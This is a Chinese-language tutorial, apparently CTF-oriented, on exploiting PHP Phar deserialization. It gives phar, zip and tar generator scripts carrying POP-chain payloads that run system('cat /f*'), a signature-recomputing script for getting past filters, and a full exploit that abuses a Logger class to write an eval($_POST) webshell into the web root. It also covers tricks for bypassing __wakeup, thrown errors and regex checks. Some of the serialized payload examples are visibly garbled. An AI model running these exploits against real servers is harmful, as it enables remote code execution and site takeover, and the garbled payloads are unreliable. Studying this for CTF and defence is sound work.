Phar反序列化


有关(Phar)反序列化的内容

Phar

phar本质上是一个压缩文件,会以序列化的形式存储用户自定义的meta-data,当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data的内容

Phar调用:

1
2
3
4
5
6
7
8
phar://upload/xxx
phar://./upload/xxx
phar:///var/www/html/xxx
compress.zlib://phar://xxx
compress.bzip://phar://xxx
zlib:phar://

其中,phar文件的后缀不做限制

Phar文件结构:

1
2
3
stub: Phar文件标志,以 xxx_HALT_COMPILER();?>结尾,否则无法识别,xxx可为自定义内容
manifest: phar文件实质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息放在这里。这部分还会以序列化的形式储存用户自定义的meta-data,这是漏洞利用最核心的地方
signature(可空): 签名,放在末尾

可以利用Phar反序列化的操作函数有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fileatime
file_put_contents
fileinode
is_dir
is_readable
copy
filectime
file
filemtime
is_executable
is_writable
unlink
file_exists
file_group
fileowner
is_file
is_writeable
stat
file_get_contents
fopen
fileperms
is_link
parse_ini_file
readfile

phar反序列化利用条件:

  • phar文件要能够上传到服务器端
  • 要有可用的魔术方法作为跳板(pop链)
  • 文件操作函数的参数可控,且:\phar等特殊字符未被过滤

生成phar包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Test{
#反序列化pop链
}

@unlink("exp.phar");
$phar = new Phar("exp.phar");#后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");#设stub
$o = new Test();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");//添加的压缩文件
//签名自动计算
$phar->stopBuffering();
?>

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class micgo{
public $code;
public function __construct(){
$this->code="system('cat /f*');";
}
public function __toString(){
return eval($this->code);
}
}
class qka{
protected $ohno;
public function __construct(){
$this->ohno=new micgo();
}
public function __invoke(){
echo '666'.$this->ohno;
}
}
class hhh{
private $hhhh;
public function __construct(){
$this->hhhh = new qka();
}
public function __destruct()
{
$hhh='';
echo 'hhh'.$hhh;
}
}
$h = new hhh();
$phar = new Phar('qwq2.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = $h;
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();

?>

zip包:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
#反序列化pop链
}

$test = new Test();
$zip = new ZipArchive();
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'test');
$zip->setArchiveComment(serialize($test));
$zip->close();
?>

tar包:

1
2
3
4
5
6
7
8
9
10
<?php
class Test{
#反序列化pop链
}

$test = new Test();
mkdir('.phar');
file_put_contents('.phar/.metadata', serialize($test));
system('tar -cf test.tar .phar/*');
?>

gzip:

1
gzip test.phar

bzip2:

1
bzip2 test.phar

过滤

有时候phar会过滤文件头,也就是HALT那行

这个时候就需要利用脚本重新生成签名:

脚本:

1
2
3
4
5
6
7
8
9
10
11
from hashlib import sha1
import gzip

with open('pharone.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("try2.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

Phar脏数据处理

例如一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
class Logger{
private $filename;
private $content;
private $endContent;

function __construct($filename,$endContent){
$this->filename = $filename;
$this->endContent = $endContent;
}

function info($content){
!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";
$content = "Type:INFO Messsage:$content";
$file = fopen($this->filename,"a");
fwrite($file,$content);
fclose($file);
}

function __destruct(){
$this->info($this->endContent);
}
}

$time = time();
$logger = new Logger("log/info.log","Close at $time");
$fileName = $_POST['file'];
$userName = $_POST["name"] ?? "nothing";
if (file_exists($fileName)){
echo "File exists";
$logger->info("$userName");
}else{
echo "File does not exist";
$logger->info("$userName");
}
?>

分析一下:

1
2
3
4
function __construct($filename,$endContent){
$this->filename = $filename;
$this->endContent = $endContent;
}

接受并且设置filename 和 endcontent参数

1
2
3
4
5
6
7
function info($content){
!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";
$content = "Type:INFO Messsage:$content";
$file = fopen($this->filename,"a");
fwrite($file,$content);
fclose($file);
}

判断是否存在一个filename的dir,不存在就创建

然后向该文件写入内容

1
2
3
function __destruct(){
$this->info($this->endContent);
}

对象销毁时再调用一次destruct,写入endContent

1
2
3
4
5
6
7
8
9
10
11
$time = time();
$logger = new Logger("log/info.log","Close at $time");
$fileName = $_POST['file'];
$userName = $_POST["name"] ?? "nothing";
if (file_exists($fileName)){
echo "File exists";
$logger->info("$userName");
}else{
echo "File does not exist";
$logger->info("$userName");
}

新创建一个Logger的对象,然后向log/info写入username

这里很明显有个利用方式:将endContent写成php木马,将filename写成shell.php,利用Logger这个类写入即可

利用file_exists触发phar

此时你会发现一个问题:

你直接写入phar时(假设phar内容用A来代替),内容会变成:

1
Type:INFO Messsage:AType:INFO Messsage:Close at $time

其中$time是上面随机生成的时间戳

很明显如果直接执行的phar://log/info.log肯定不行,毕竟phar数据流已经被“前后夹击”,都是脏数据

那接下来我们就需要绕过这些脏数据:

绕过Phar头的脏数据

绕过头的很简单,还记得phar是如何生成的吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class micgo{
public $code;
public function __construct(){
$this->code="system('cat /f*');";
}
public function __toString(){
return eval($this->code);
}
}
class qka{
protected $ohno;
public function __construct(){
$this->ohno=new micgo();
}
public function __invoke(){
echo '666'.$this->ohno;
}
}
class hhh{
private $hhhh;
public function __construct(){
$this->hhhh = new qka();
}
public function __destruct()
{
$hhh='';
echo 'hhh'.$hhh;
}
}
$h = new hhh();
$phar = new Phar('qwq2.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = $h;
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();

?>

我们可以利用setStub添加文件头

那可以想想,如果前面的脏数据本来就是我们phar文件的一部分呢?

那是不是前面的脏数据就不是问题了,例如在这里,前面的脏数据是:

1
Type:INFO Messsage:

那我们写phar的时候可以这么设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class Logger{
private $filename="/var/www/html/shell.php";
private $content;
private $endContent="<?php eval($_POST[1]);?>";

function __construct($filename,$endContent){
$this->filename = $filename;
$this->endContent = $endContent;
}

function info($content){
!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";
$content = "Type:INFO Messsage:$content";
$file = fopen($this->filename,"a");
fwrite($file,$content);
fclose($file);
}

function __destruct(){
$this->info($this->endContent);
}
}
$h = new Logger();
$phar = new Phar('qwq2.phar');
$phar -> startBuffering();
$phar -> setStub('Type:INFO Messsage:'.'<?php __HALT_COMPILER();?>'); //设置stub 增加脏数据文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = $h;
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();

?>

这个时候就将脏数据也纳入了phar的一部分了

此时只需要截取phar不包含脏数据头的部分写入,就是一个合法的phar文件

绕过Phar尾部的脏数据

这里就需要利用tar文件来绕过了,我们可以利用convertToExecutable函数将phar文件转换成其他格式的文件。

如果以tar文件储存phar,则会使得它不受后面数据的影响

phar各种格式的转换:

1
2
3
4
<?php
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//会生成xxxx.phar.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//会生成xxxx.phar.tar.gz
$phar = $phar->convertToExecutable(Phar::ZIP);//会生成xxxx.phar.zip

总体的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Logger{
private $filename="/var/www/html/shell.php";
private $content;
private $endContent="<?php eval($_POST[1]);?>";

function __construct($filename,$endContent){
$this->filename = $filename;
$this->endContent = $endContent;
}

function info($content){
!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";
$content = "Type:INFO Messsage:$content";
$file = fopen($this->filename,"a");
fwrite($file,$content);
fclose($file);
}

function __destruct(){
$this->info($this->endContent);
}
}
$dirty_data = "Type:INFO Messsage:";
$len = strlen($dirty_data);
$h = new Logger();
$phar = new Phar('qwq2.phar');
$phar = $phar->convertToExecutable(Phar::TAR);
$phar -> startBuffering();
$phar -> addFromString($dirty_data, "");
$phar -> setStub($dirty_data. "<?php __HALT_COMPILER();?>");
$phar -> setMetadata($h);
$phar -> stopBuffering();
//此时,便成功生成了一个能够绕过头尾脏数据的phar文件,此时它会被保存为./qwq2.phar.tar
$exp = file_get_contents('./qwq2.phar.tar');
$post_exp = substr($exp, $len);
echo rawurlencode($post_exp);//urlencode输出数据流

此时获得了phar的数据流,假设记为B:

此时我们只需要

1
2
3
4
5
6
7
8
9
10
11
$time = time();
$logger = new Logger("log/info.log","Close at $time");
$fileName = $_POST['file']; //第一步随便写,第二步 phar://log/info.log
$userName = $_POST["name"] ?? "nothing"; //第一步,phar数据流,第二步随便写
if (file_exists($fileName)){
echo "File exists";
$logger->info("$userName");
}else{
echo "File does not exist";
$logger->info("$userName");
}

一些php反序列化的tricks

绕过wakeup

老生常谈的绕过wakeup

可以看看大师傅的博客

php反序列化之绕过wakeup – View of Thai

当然也可以直接利用cve-2016-7124(就是最常用的绕过destruct方法)

绕过throw Error异常抛出

利用gc垃圾回收机制,gc又叫garbage collection,在php中使用引用奇数和回收周期来自动管理内容

当一些数据或者变量在进行某些操作后被置为空(null)或者是没有地址的指向时,一旦这些数据被回收,就相当于给一个程序的结尾划上了句号,那么久不会出现无法调用__destruct方法了

利用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class A{
exp here
}
$a = new A;
//pop chains here;

$c = array(0=>$a, 1=>null);
$result = serialize($c);
$result = str_replace("i:1", "i:0", $result);
echo $result;
//echo urlencode($result);

这里需要引入null,此时反序列化中的结果有两个,一个是i=0,另一个是i=1,此时i=1为null,i=0为我们的对象,如果将i=1修改成i=0,就可以将i=0指向null,实现gc回收

绕过一些正则匹配表达式

反序列化中,以下两个payload等价:

1
2
3
0:4:"test":1:s:1:"a";s:4:"flag";}

0:4:"test:1:(s:1:"a";5:4:”\66lag";}

利用十六进制绕过即可

比如说:

绕过

1
2
3
if(!preg_match("/flag/i", $str)){
unserialize($str);
}

此时就可以利用

1
0:4:"test:1:(s:1:"a";5:4:”\66lag";}

绕过一些[Oa]:[\d]+

例如:

1
2
3
4
5
6
<?php

if(!preg_match('/^[Oa]:[\d]+/i', $_GET['a'])){
unserialize($a);
}
?>

利用方式:

  1. 如果能用+的话直接用加号隔断
  2. 换别的方法:
1
2
3
4
5
6
ArrayObject:

$a = new ArrayObject;
$a-> a = 反序列化起点;

echo unserialize($a);
1
2
3
4
5
6
7
SplStack:

$a = new SplStack();

$a->push(反序列化起点);

echo serialize($a);